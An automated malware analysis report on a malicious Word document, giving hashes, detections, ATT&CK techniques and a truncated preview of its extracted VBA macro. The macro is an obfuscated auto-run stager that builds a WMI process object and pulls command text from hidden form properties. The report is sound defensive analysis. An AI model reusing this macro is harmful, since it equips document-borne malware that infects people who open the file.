Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81533cd3de83433d…

MALICIOUS

Office (OLE)

176.5 KB Created: 2020-08-21 19:01:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 53ced25c7413028e6e6d51439cd6a328 SHA-1: 059067347af4288230f51d8dcb15d8ca8de8ad8f SHA-256: 81533cd3de83433dea8b8b9963a768102671597ede52ccf8f0a04d7eafd3ab5b
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an Office document containing a VBA macro that automatically executes upon opening. The macro utilizes CreateObject and a hidden UserForm property to act as a command stager, indicative of downloading and executing a secondary payload. The presence of a Document_Open macro and the use of CreateObject are strong indicators of malicious intent.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-9443669-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9443669-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10212 bytes
SHA-256: 3deb0690cea8bbe223c6bb4e009d6dba41baeb01c72dea50af699d9370ffa5ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jlowf8dwgkuu9"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
N6yhc60tpif3av3.G8ckn1_ynwje
End Sub


Attribute VB_Name = "N6yhc60tpif3av3"
Attribute VB_Base = "0{6C3E871F-38B0-4AD5-AD34-9AB8C762A84E}{B493A0CB-2283-4FED-9888-31E00276724D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function G8ckn1_ynwje()
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Yldxehrsmq8 = N6yhc60tpif3av3.BorderStyle + 100
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
U9x98mqrmtrjf1xvx = ChrW(Yldxehrsmq8 + (15))
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Nb869ttdha_th = "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]i15df qhs1g 2[s55da znb183b]nm15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]gm15df qhs1g 2[s55da znb183b]t15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]" + U9x98mqrmtrjf1xvx + "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]:15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]in15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]315df qhs1g 2[s55da znb183b]215df qhs1g 2[s55da znb183b]_15df qhs1g 2[s55da znb183b]" + N6yhc60tpif3av3.W0ve0gyyqng + "15df qhs1g 2[s55da znb183b]ro15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]ce15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]"
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
S7l7nx5ys3ewqfbpqq = Iu2754usl_7i(Nb869ttdha_th)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Set P_fw0mv2yd10 = CreateObject(S7l7nx5ys3ewqfbpqq)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Z_8lva3zukndfi4 = N6yhc60tpif3av3.X_e_6vag4hceo.ControlTipText
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Qcxj6b7sfu9_z = H8omhz
... (truncated)

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